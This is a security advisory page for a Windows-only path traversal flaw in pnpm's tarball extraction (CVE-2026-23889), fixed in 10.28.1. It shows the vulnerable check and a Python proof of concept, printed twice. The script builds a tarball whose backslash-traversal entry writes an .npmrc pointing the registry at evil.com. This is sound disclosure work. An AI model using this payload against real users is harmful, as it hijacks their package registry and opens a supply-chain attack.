GHSA-6X96-7VC8-CM3P
Vulnerability from github – Published: 2026-01-26 21:02 – Updated: 2026-01-29 03:23
VLAI?
Summary
pnpm has Windows-specific tarball Path Traversal
Details
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}
A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)
- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)
PoC
- Create a malicious tarball with entry
package/foo\..\..\.npmrc - Host it or use as a tarball URL dependency
- On Windows:
pnpm install - Observe
.npmrcwritten outside package directory
import tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())
Impact
- Windows pnpm users
- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
- Can overwrite
.npmrc, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d45.
Severity ?
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.28.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23889"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-26T21:02:44Z",
"nvd_published_at": "2026-01-26T22:15:56Z",
"severity": "MODERATE"
},
"details": "### Summary\nA path traversal vulnerability in pnpm\u0027s tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes(\u0027./\u0027)) {\n fileName = path.posix.join(\u0027/\u0027, fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode=\u0027w:gz\u0027) as tar:\n pkg_json = b\u0027{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}\u0027\n pkg_info = tarfile.TarInfo(name=\u0027package/package.json\u0027)\n pkg_info.size = len(pkg_json)\n tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n malicious_content = b\u0027registry=https://evil.com/\\n\u0027\n mal_info = tarfile.TarInfo(name=\u0027package/foo\\\\..\\\\..\\\\.npmrc\u0027)\n mal_info.size = len(malicious_content)\n tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open(\u0027malicious-pkg-1.0.0.tgz\u0027, \u0027wb\u0027) as f:\n f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.",
"id": "GHSA-6x96-7vc8-cm3p",
"modified": "2026-01-29T03:23:02Z",
"published": "2026-01-26T21:02:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23889"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pnpm has Windows-specific tarball Path Traversal"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…